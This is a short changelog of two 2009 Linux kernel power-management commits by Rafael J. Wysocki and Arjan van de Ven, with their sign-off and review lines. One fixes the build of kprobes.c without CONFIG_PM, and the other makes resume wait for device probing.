2009-02-21PM: fix build for CONFIG_PM unsetRafael J. Wysocki
Compilation of kprobes.c with CONFIG_PM unset is broken due to some broken config dependncies. Fix that. Signed-off-by: Rafael J. Wysocki <rjw@sisk.pl> Cc: Len Brown <lenb@kernel.org> Cc: Greg KH <gregkh@suse.de> Reported-by: Ingo Molnar <mingo@elte.hu> Tested-by: Masami Hiramatsu <mhiramat@redhat.com> Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
2009-02-21PM/resume: wait for device probing to finishArjan van de Ven
the resume code does not currently wait for device probing to finish. Even without async function calls this is dicey and not correct, but with async function calls during the boot sequence this is going to get hit more... This patch adds the synchronization using the newly introduced helper. Signed-off-by: Arjan van de Ven <arjan@linux.intel.com> Signed-off-by: Rafael J. Wysocki <rjw@sisk.pl> Cc: Len Brown <lenb@kernel.org> Acked-by: Greg KH <gregkh@suse.de> Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>